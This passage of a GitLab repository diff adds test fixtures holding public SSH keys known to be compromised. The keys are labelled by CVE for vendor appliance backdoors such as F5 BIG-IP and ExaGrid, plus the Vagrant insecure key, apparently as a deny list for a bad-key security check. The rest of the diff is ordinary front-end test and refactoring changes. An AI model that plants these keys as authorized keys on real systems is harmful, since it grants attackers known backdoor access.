+ssh-dss AAAAB3NzaC1kc3MAAACBAMq5EcIFdfCjJakyQnP/BBp9oc6mpaZVguf0Znp5C40twiG1lASQJZlM1qOB/hkBWYeBCHUkcOLEnVXSZzB62L+W/LGKodqnsiQPRr57AA6jPc6mNBnejHai8cSdAl9n/0s2IQjdcrxM8CPq2uEyfm0J3AV6Lrbbxr5NgE5xxM+DAAAAFQCmFk/M7Rx2jexsJ9COpHkHwUjcNQAAAIAdg18oByp/tjjDKhWhmmv+HbVIROkRqSxBvuEZEmcWlg38mLIT1bydfpSou/V4rI5ctxwCfJ1rRr66pw6GwCrz4fXmyVlhrj7TrktyQ9+zRXhynF4wdNPWErhNHb8tGlSOFiOBcUTlouX3V/ka6Dkd6ZQrZLQFaH+gjfyTZZ82HQAAAIEArsJgp7RLPOsCeLqoia/eljseBFVDazO5Q0ysUotTw9wgXGGVWREwm8wNggFNb9eCiBAAUfVZVfhVAtFT0pBf/eIVLPXyaMw3prBt7LqeBrbagODc3WAAdMTPIdYYcOKgv+YvTXa51zG64v6pQOfS8WXgKCzDl44puXfYeDk5lVQ=
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/ceragon-fibeair-cve-2015-0936.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/ceragon-fibeair-cve-2015-0936.pub
new file mode 100644
index 00000000000..1a8016efb1e
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/ceragon-fibeair-cve-2015-0936.pub
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwRIdDlHaIqZXND/l1vFT7ue3rc/DvXh2yx5EFtuxGQRHVxGMazDhV4vj5ANGXDQwUYI0iZh6aOVrDy8I/y9/y+YDGCvsnqrDbuPDjW26s2bBXWgUPiC93T3TA6L2KOxhVcl7mljEOIYACRHPpJNYVGhinCxDUH9LxMrdNXgP5Ok= mateidu@localhost
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/exagrid-cve-2016-1561.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/exagrid-cve-2016-1561.pub
new file mode 100644
index 00000000000..387cd23fb47
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/exagrid-cve-2016-1561.pub
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBnZQ+6nhlPX/JnX5i5hXpljJ89bSnnrsSs51hSPuoJGmoKowBddISK7s10AIpO0xAWGcr8PUr2FOjEBbDHqlRxoXF0Ocms9xv3ql9EYUQ5+U+M6BymWhNTFPOs6gFHUl8Bw3t6c+SRKBpfRFB0yzBj9d093gSdfTAFoz+yLo4vRw==
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/f5-bigip-cve-2012-1493.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/f5-bigip-cve-2012-1493.pub
new file mode 100644
index 00000000000..5cc9954edf4
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/f5-bigip-cve-2012-1493.pub
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJT+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbKv58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk= SCCP Superuser
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/loadbalancer.org-enterprise-va.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/loadbalancer.org-enterprise-va.pub
new file mode 100644
index 00000000000..e47ea5ca1fd
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/loadbalancer.org-enterprise-va.pub
@@ -0,0 +1 @@
+ssh-dss AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA== root@lbslave
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/monroe-dasdec-cve-2013-0137.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/monroe-dasdec-cve-2013-0137.pub
new file mode 100644
index 00000000000..f7fee2c59ac
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/monroe-dasdec-cve-2013-0137.pub
@@ -0,0 +1 @@
+ssh-dss AAAAB3NzaC1kc3MAAACBAN3AITryJMQyOKZjAky+mQ/8pOHIlu4q8pzmR0qotKaLm2yye5a0PY2rOaQRAzi7EPheBXbqTb8a8TrHhGXI5P7GUHaJho5HhEnw+5TwAvP72L7LcPwxMxj/rLcR/jV+uLMsVeJVWjwJcUv83yzPXoVjK0hrIm+RLLeuTM+gTylHAAAAFQD5gBdXsXAiTz1atzMg3xDFF1zlowAAAIAlLy6TCMlOBM0IcPsvP/9bEjDj0M8YZazdqt4amO2IaNUPYt9/sIsLOQfxIj8myDK1TOp8NyRJep7V5aICG4f3Q+XktlmLzdWn3sjvbWuIAXe1opjG2T69YhxfHZr8Wn7P4tpCgyqM4uHmUKrfnBzQQ9vkUUWsZoUXM2Z7vUXVfQAAAIAU6eNlphQWDwx0KOBiiYhF9BM6kDbQlyw8333rAG3G4CcjI2G8eYGtpBNliaD185UjCEsjPiudhGil/j4Zt/+VY3aGOLoi8kqXBBc8ZAML9bbkXpyhQhMgwiywx3ciFmvSn2UAin8yurStYPQxtXauZN5PYbdwCHPS7ApIStdpMA== wood@endec1
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/quantum-dxi-v1000.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/quantum-dxi-v1000.pub
new file mode 100644
index 00000000000..1cba0ffbdfd
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/quantum-dxi-v1000.pub
@@ -0,0 +1 @@
+ssh-dss AAAAB3NzaC1kc3MAAACBAISAE3CAX4hsxTw0dRc0gx8nQ41r3Vkj9OmG6LGeKWRmpy7C6vaExuupjxid76fd4aS56lCUEEoRlJ3zE93qoK9acI6EGqGQFLuDZ0fqMyRSX+ilf+1HDo/TRyuraggxp9Hj9LMpZVbpFATMm0+d9Xs7eLmaJjuMsowNlOf8NFdHAAAAFQCwdvqOAkR6QhuiAapQ/9iVuR0UAQAAAIBpLMo4dhSeWkChfv659WLPftxRrX/HR8YMD/jqa3R4PsVM2g6dQ1191nHugtdV7uaMeOqOJ/QRWeYM+UYwT0Zgx2LqvgVSjNDfdjk+ZRY8x3SmExFi62mKFoTGSOCXfcAfuanjaoF+sepnaiLUd+SoJShGYHoqR2QWiysTRqknlwAAAIBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrnk/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQ==
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/vagrant-default.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/vagrant-default.pub
new file mode 100644
index 00000000000..18a9c00fd56
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/vagrant-default.pub
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key
diff --git a/spec/fixtures/valid.po b/spec/fixtures/valid.po
index e580af66939..99f6b317ffc 100644
--- a/spec/fixtures/valid.po
+++ b/spec/fixtures/valid.po
@@ -256,9 +256,6 @@ msgstr "crear un token de acceso personal"
msgid "Cron Timezone"
msgstr "Zona horaria del Cron"
-msgid "Cron syntax"
-msgstr "Sintaxis de Cron"
-
msgid "Custom notification events"
msgstr "Eventos de notificaciones personalizadas"
@@ -442,6 +439,9 @@ msgstr "Última actualización"
msgid "Last commit"
msgstr "Último cambio"
+msgid "Learn more."
+msgstr "Más información."
+
msgid "Learn more in the"
msgstr "Más información en la"
diff --git a/spec/frontend/__mocks__/@cubejs-client/core.js b/spec/frontend/__mocks__/@cubejs-client/core.js
new file mode 100644
index 00000000000..549899aa8d8
--- /dev/null
+++ b/spec/frontend/__mocks__/@cubejs-client/core.js
@@ -0,0 +1,26 @@
+let mockLoad = jest.fn();
+let mockMetadata = jest.fn();
+
+export const CubejsApi = jest.fn().mockImplementation(() => ({
+ load: mockLoad,
+ meta: mockMetadata,
+}));
+
+export const HttpTransport = jest.fn();
+
+export const GRANULARITIES = [
+ {
+ name: 'seconds',
+ title: 'Seconds',
+ },
+];
+
+// eslint-disable-next-line no-underscore-dangle
+export const __setMockLoad = (x) => {
+ mockLoad = x;
+};
+
+// eslint-disable-next-line no-underscore-dangle
+export const __setMockMetadata = (x) => {
+ mockMetadata = x;
+};
diff --git a/spec/frontend/abuse_reports/components/abuse_category_selector_spec.js b/spec/frontend/abuse_reports/components/abuse_category_selector_spec.js
new file mode 100644
index 00000000000..6efd9fb1dd0
--- /dev/null
+++ b/spec/frontend/abuse_reports/components/abuse_category_selector_spec.js
@@ -0,0 +1,126 @@
+import { GlDrawer, GlForm, GlFormGroup, GlFormRadioGroup } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
+
+jest.mock('~/lib/utils/common_utils', () => ({
+ contentTop: jest.fn(),
+}));
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+describe('AbuseCategorySelector', () => {
+ let wrapper;
+
+ const ACTION_PATH = '/abuse_reports/add_category';
+ const USER_ID = '1';
+ const REPORTED_FROM_URL = 'http://example.com';
+
+ const createComponent = (props) => {
+ wrapper = shallowMountExtended(AbuseCategorySelector, {
+ propsData: {
+ ...props,
+ },
+ provide: {
+ reportAbusePath: ACTION_PATH,
+ reportedUserId: USER_ID,
+ reportedFromUrl: REPORTED_FROM_URL,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent({ showDrawer: true });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findDrawer = () => wrapper.findComponent(GlDrawer);
+ const findTitle = () => wrapper.findByTestId('category-drawer-title');
+
+ const findForm = () => wrapper.findComponent(GlForm);
+ const findFormGroup = () => wrapper.findComponent(GlFormGroup);
+ const findRadioGroup = () => wrapper.findComponent(GlFormRadioGroup);
+
+ const findCSRFToken = () => findForm().find('input[name="authenticity_token"]');
+ const findUserId = () => wrapper.findByTestId('input-user-id');
+ const findReferer = () => wrapper.findByTestId('input-referer');
+
+ const findSubmitFormButton = () => wrapper.findByTestId('submit-form-button');
+
+ describe('Drawer', () => {
+ it('is open when prop showDrawer = true', () => {
+ expect(findDrawer().exists()).toBe(true);
+ expect(findDrawer().props('open')).toBe(true);
+ expect(findDrawer().props('zIndex')).toBe(300);
+ });
+
+ it('renders title', () => {
+ expect(findTitle().text()).toBe(wrapper.vm.$options.i18n.title);
+ });
+
+ it('emits close-drawer event', async () => {
+ await findDrawer().vm.$emit('close');
+
+ expect(wrapper.emitted('close-drawer')).toHaveLength(1);
+ });
+
+ describe('when props showDrawer = false', () => {
+ beforeEach(() => {
+ createComponent({ showDrawer: false });
+ });
+
+ it('hides the drawer', () => {
+ expect(findDrawer().props('open')).toBe(false);
+ });
+ });
+ });
+
+ describe('Select category form', () => {
+ it('renders POST form with path', () => {
+ expect(findForm().attributes()).toMatchObject({
+ method: 'post',
+ action: ACTION_PATH,
+ });
+ });
+
+ it('renders csrf token', () => {
+ expect(findCSRFToken().attributes('value')).toBe('mock-csrf-token');
+ });
+
+ it('renders label', () => {
+ expect(findFormGroup().exists()).toBe(true);
+ expect(findFormGroup().attributes('label')).toBe(wrapper.vm.$options.i18n.label);
+ });
+
+ it('renders radio group', () => {
+ expect(findRadioGroup().exists()).toBe(true);
+ expect(findRadioGroup().props('options')).toEqual(wrapper.vm.$options.categoryOptions);
+ expect(findRadioGroup().attributes('name')).toBe('abuse_report[category]');
+ expect(findRadioGroup().attributes('required')).not.toBeUndefined();
+ });
+
+ it('renders userId as a hidden fields', () => {
+ expect(findUserId().attributes()).toMatchObject({
+ type: 'hidden',
+ name: 'user_id',
+ value: USER_ID,
+ });
+ });
+
+ it('renders referer as a hidden fields', () => {
+ expect(findReferer().attributes()).toMatchObject({
+ type: 'hidden',
+ name: 'abuse_report[reported_from_url]',
+ value: REPORTED_FROM_URL,
+ });
+ });
+
+ it('renders submit button', () => {
+ expect(findSubmitFormButton().exists()).toBe(true);
+ expect(findSubmitFormButton().text()).toBe(wrapper.vm.$options.i18n.next);
+ });
+ });
+});
diff --git a/spec/frontend/admin/broadcast_messages/components/message_form_spec.js b/spec/frontend/admin/broadcast_messages/components/message_form_spec.js
index 88ea79f38b3..36c0ac303ba 100644
--- a/spec/frontend/admin/broadcast_messages/components/message_form_spec.js
+++ b/spec/frontend/admin/broadcast_messages/components/message_form_spec.js
@@ -3,7 +3,7 @@ import { GlBroadcastMessage, GlForm } from '@gitlab/ui';
import AxiosMockAdapter from 'axios-mock-adapter';
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST } from '~/lib/utils/http_status';
import MessageForm from '~/admin/broadcast_messages/components/message_form.vue';
import {
BROADCAST_MESSAGES_PATH,
@@ -160,7 +160,7 @@ describe('MessageForm', () => {
it('shows an error alert if the create request fails', async () => {
createComponent({ broadcastMessage: { id: undefined } });
- axiosMock.onPost(BROADCAST_MESSAGES_PATH).replyOnce(httpStatus.BAD_REQUEST);
+ axiosMock.onPost(BROADCAST_MESSAGES_PATH).replyOnce(HTTP_STATUS_BAD_REQUEST);
findForm().vm.$emit('submit', { preventDefault: () => {} });
await waitForPromises();
@@ -187,7 +187,7 @@ describe('MessageForm', () => {
it('shows an error alert if the update request fails', async () => {
const id = 1337;
createComponent({ broadcastMessage: { id } });
- axiosMock.onPost(`${BROADCAST_MESSAGES_PATH}/${id}`).replyOnce(httpStatus.BAD_REQUEST);
+ axiosMock.onPost(`${BROADCAST_MESSAGES_PATH}/${id}`).replyOnce(HTTP_STATUS_BAD_REQUEST);
findForm().vm.$emit('submit', { preventDefault: () => {} });
await waitForPromises();
diff --git a/spec/frontend/admin/users/components/user_date_spec.js b/spec/frontend/admin/users/components/user_date_spec.js
index af262c6d3f0..73be33d5a9d 100644
--- a/spec/frontend/admin/users/components/user_date_spec.js
+++ b/spec/frontend/admin/users/components/user_date_spec.js
@@ -24,7 +24,7 @@ describe('FormatDate component', () => {
it.each`
date | dateFormat | output
- ${mockDate} | ${undefined} | ${'13 Nov, 2020'}
+ ${mockDate} | ${undefined} | ${'Nov 13, 2020'}
${null} | ${undefined} | ${'Never'}
${undefined} | ${undefined} | ${'Never'}
${mockDate} | ${ISO_SHORT_FORMAT} | ${'2020-11-13'}
diff --git a/spec/frontend/admin/users/mock_data.js b/spec/frontend/admin/users/mock_data.js
index 193ac3fa043..17cddebfcaf 100644
--- a/spec/frontend/admin/users/mock_data.js
+++ b/spec/frontend/admin/users/mock_data.js
@@ -62,3 +62,11 @@ export const userDeletionObstacles = [
{ name: 'schedule1', type: OBSTACLE_TYPES.oncallSchedules },
{ name: 'policy1', type: OBSTACLE_TYPES.escalationPolicies },
];
+
+export const userStatus = {
+ emoji: 'basketball',
+ message: 'test',
+ availability: 'busy',
+ message_html: 'test',
+ clear_status_at: '2023-01-04T10:00:00.000Z',
+};
diff --git a/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js b/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
index 62a3e07186a..a15c78cc456 100644
--- a/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
+++ b/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
@@ -32,7 +32,7 @@ import {
} from '~/alerts_settings/utils/error_messages';
import { createAlert, VARIANT_SUCCESS } from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes, { HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
+import { HTTP_STATUS_FORBIDDEN, HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
import {
createHttpVariables,
updateHttpVariables,
@@ -365,7 +365,7 @@ describe('AlertsSettingsWrapper', () => {
});
it('shows an error alert when integration is not activated', async () => {
- mock.onPost(/(.*)/).replyOnce(httpStatusCodes.FORBIDDEN);
+ mock.onPost(/(.*)/).replyOnce(HTTP_STATUS_FORBIDDEN);
await wrapper.vm.testAlertPayload({ endpoint: '', data: '', token: '' });
expect(createAlert).toHaveBeenCalledWith({
message: INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR,
diff --git a/spec/frontend/analytics/cycle_analytics/store/actions_spec.js b/spec/frontend/analytics/cycle_analytics/store/actions_spec.js
index f87807804c9..3030fca126b 100644
--- a/spec/frontend/analytics/cycle_analytics/store/actions_spec.js
+++ b/spec/frontend/analytics/cycle_analytics/store/actions_spec.js
@@ -3,7 +3,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/analytics/cycle_analytics/store/actions';
import * as getters from '~/analytics/cycle_analytics/store/getters';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import {
allowedStages,
selectedStage,
@@ -197,7 +197,7 @@ describe('Project Value Stream Analytics actions', () => {
selectedStage,
};
mock = new MockAdapter(axios);
- mock.onGet(mockStagePath).reply(httpStatusCodes.OK, reviewEvents, headers);
+ mock.onGet(mockStagePath).reply(HTTP_STATUS_OK, reviewEvents, headers);
});
it(`commits the 'RECEIVE_STAGE_DATA_SUCCESS' mutation`, () =>
@@ -223,7 +223,7 @@ describe('Project Value Stream Analytics actions', () => {
selectedStage,
};
mock = new MockAdapter(axios);
- mock.onGet(mockStagePath).reply(httpStatusCodes.OK, { error: tooMuchDataError });
+ mock.onGet(mockStagePath).reply(HTTP_STATUS_OK, { error: tooMuchDataError });
});
it(`commits the 'RECEIVE_STAGE_DATA_ERROR' mutation`, () =>
@@ -247,7 +247,7 @@ describe('Project Value Stream Analytics actions', () => {
selectedStage,
};
mock = new MockAdapter(axios);
- mock.onGet(mockStagePath).reply(httpStatusCodes.BAD_REQUEST);
+ mock.onGet(mockStagePath).reply(HTTP_STATUS_BAD_REQUEST);
});
it(`commits the 'RECEIVE_STAGE_DATA_ERROR' mutation`, () =>
@@ -269,7 +269,7 @@ describe('Project Value Stream Analytics actions', () => {
endpoints: mockEndpoints,
};
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_OK);
});
it(`commits the 'REQUEST_VALUE_STREAMS' mutation`, () =>
@@ -284,7 +284,7 @@ describe('Project Value Stream Analytics actions', () => {
describe('with a failing request', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_BAD_REQUEST);
});
it(`commits the 'RECEIVE_VALUE_STREAMS_ERROR' mutation`, () =>
@@ -294,7 +294,7 @@ describe('Project Value Stream Analytics actions', () => {
payload: {},
expectedMutations: [
{ type: 'REQUEST_VALUE_STREAMS' },
- { type: 'RECEIVE_VALUE_STREAMS_ERROR', payload: httpStatusCodes.BAD_REQUEST },
+ { type: 'RECEIVE_VALUE_STREAMS_ERROR', payload: HTTP_STATUS_BAD_REQUEST },
],
expectedActions: [],
}));
@@ -337,7 +337,7 @@ describe('Project Value Stream Analytics actions', () => {
selectedValueStream,
};
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_OK);
});
it(`commits the 'REQUEST_VALUE_STREAM_STAGES' and 'RECEIVE_VALUE_STREAM_STAGES_SUCCESS' mutations`, () =>
@@ -355,7 +355,7 @@ describe('Project Value Stream Analytics actions', () => {
describe('with a failing request', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_BAD_REQUEST);
});
it(`commits the 'RECEIVE_VALUE_STREAM_STAGES_ERROR' mutation`, () =>
@@ -365,7 +365,7 @@ describe('Project Value Stream Analytics actions', () => {
payload: {},
expectedMutations: [
{ type: 'REQUEST_VALUE_STREAM_STAGES' },
- { type: 'RECEIVE_VALUE_STREAM_STAGES_ERROR', payload: httpStatusCodes.BAD_REQUEST },
+ { type: 'RECEIVE_VALUE_STREAM_STAGES_ERROR', payload: HTTP_STATUS_BAD_REQUEST },
],
expectedActions: [],
}));
@@ -382,7 +382,7 @@ describe('Project Value Stream Analytics actions', () => {
];
const stageMedianError = new Error(
- `Request failed with status code ${httpStatusCodes.BAD_REQUEST}`,
+ `Request failed with status code ${HTTP_STATUS_BAD_REQUEST}`,
);
beforeEach(() => {
@@ -392,7 +392,7 @@ describe('Project Value Stream Analytics actions', () => {
stages: allowedStages,
};
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_OK);
});
it(`commits the 'REQUEST_STAGE_MEDIANS' and 'RECEIVE_STAGE_MEDIANS_SUCCESS' mutations`, () =>
@@ -410,7 +410,7 @@ describe('Project Value Stream Analytics actions', () => {
describe('with a failing request', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_BAD_REQUEST);
});
it(`commits the 'RECEIVE_VALUE_STREAM_STAGES_ERROR' mutation`, () =>
@@ -435,9 +435,7 @@ describe('Project Value Stream Analytics actions', () => {
{ id: 'code', count: 3 },
];
- const stageCountError = new Error(
- `Request failed with status code ${httpStatusCodes.BAD_REQUEST}`,
- );
+ const stageCountError = new Error(`Request failed with status code ${HTTP_STATUS_BAD_REQUEST}`);
beforeEach(() => {
state = {
@@ -448,11 +446,11 @@ describe('Project Value Stream Analytics actions', () => {
mock = new MockAdapter(axios);
mock
.onGet(mockValueStreamPath)
- .replyOnce(httpStatusCodes.OK, { count: 1 })
+ .replyOnce(HTTP_STATUS_OK, { count: 1 })
.onGet(mockValueStreamPath)
- .replyOnce(httpStatusCodes.OK, { count: 2 })
+ .replyOnce(HTTP_STATUS_OK, { count: 2 })
.onGet(mockValueStreamPath)
- .replyOnce(httpStatusCodes.OK, { count: 3 });
+ .replyOnce(HTTP_STATUS_OK, { count: 3 });
});
it(`commits the 'REQUEST_STAGE_COUNTS' and 'RECEIVE_STAGE_COUNTS_SUCCESS' mutations`, () =>
@@ -470,7 +468,7 @@ describe('Project Value Stream Analytics actions', () => {
describe('with a failing request', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ mock.onGet(mockValueStreamPath).reply(HTTP_STATUS_BAD_REQUEST);
});
it(`commits the 'RECEIVE_STAGE_COUNTS_ERROR' mutation`, () =>
diff --git a/spec/frontend/api/groups_api_spec.js b/spec/frontend/api/groups_api_spec.js
index 9de588a02aa..c354d8a9416 100644
--- a/spec/frontend/api/groups_api_spec.js
+++ b/spec/frontend/api/groups_api_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import getGroupTransferLocationsResponse from 'test_fixtures/api/groups/transfer_locations.json';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import axios from '~/lib/utils/axios_utils';
import { DEFAULT_PER_PAGE } from '~/api';
import { updateGroup, getGroupTransferLocations } from '~/api/groups_api';
@@ -35,7 +35,7 @@ describe('GroupsApi', () => {
beforeEach(() => {
mock.onPut(expectedUrl).reply(({ data }) => {
- return [httpStatus.OK, { id: mockGroupId, ...JSON.parse(data) }];
+ return [HTTP_STATUS_OK, { id: mockGroupId, ...JSON.parse(data) }];
});
});
diff --git a/spec/frontend/api/harbor_registry_spec.js b/spec/frontend/api/harbor_registry_spec.js
index 8a4c377ebd1..db4b189835e 100644
--- a/spec/frontend/api/harbor_registry_spec.js
+++ b/spec/frontend/api/harbor_registry_spec.js
@@ -1,7 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import * as harborRegistryApi from '~/api/harbor_registry';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
describe('~/api/harbor_registry', () => {
let mock;
@@ -37,7 +37,7 @@ describe('~/api/harbor_registry', () => {
location: 'http://demo.harbor.com/harbor/projects/2/repositories/image-1',
},
];
- mock.onGet(expectedUrl).reply(httpStatus.OK, expectResponse);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, expectResponse);
return harborRegistryApi.getHarborRepositoriesList(expectedParams).then(({ data }) => {
expect(data).toEqual(expectResponse);
@@ -66,7 +66,7 @@ describe('~/api/harbor_registry', () => {
tags: ['v2', 'v1', 'latest'],
},
];
- mock.onGet(expectedUrl).reply(httpStatus.OK, expectResponse);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, expectResponse);
return harborRegistryApi.getHarborArtifacts(expectedParams).then(({ data }) => {
expect(data).toEqual(expectResponse);
@@ -97,7 +97,7 @@ describe('~/api/harbor_registry', () => {
immutable: false,
},
];
- mock.onGet(expectedUrl).reply(httpStatus.OK, expectResponse);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, expectResponse);
return harborRegistryApi.getHarborTags(expectedParams).then(({ data }) => {
expect(data).toEqual(expectResponse);
diff --git a/spec/frontend/api/packages_api_spec.js b/spec/frontend/api/packages_api_spec.js
index d55d2036dcf..5f517bcf358 100644
--- a/spec/frontend/api/packages_api_spec.js
+++ b/spec/frontend/api/packages_api_spec.js
@@ -1,7 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import { publishPackage } from '~/api/packages_api';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
describe('Api', () => {
const dummyApiVersion = 'v3000';
@@ -35,7 +35,7 @@ describe('Api', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/packages/generic/${name}/${packageVersion}/${name}`;
jest.spyOn(axios, 'put');
- mock.onPut(expectedUrl).replyOnce(httpStatus.OK, apiResponse);
+ mock.onPut(expectedUrl).replyOnce(HTTP_STATUS_OK, apiResponse);
return publishPackage(
{
diff --git a/spec/frontend/api/tags_api_spec.js b/spec/frontend/api/tags_api_spec.js
index a7436bf6a50..af3533f52b7 100644
--- a/spec/frontend/api/tags_api_spec.js
+++ b/spec/frontend/api/tags_api_spec.js
@@ -1,7 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import * as tagsApi from '~/api/tags_api';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
describe('~/api/tags_api.js', () => {
let mock;
@@ -25,7 +25,7 @@ describe('~/api/tags_api.js', () => {
it('fetches a tag of a given tag name of a particular project', () => {
const tagName = 'tag-name';
const expectedUrl = `/api/v7/projects/${projectId}/repository/tags/${tagName}`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
name: tagName,
});
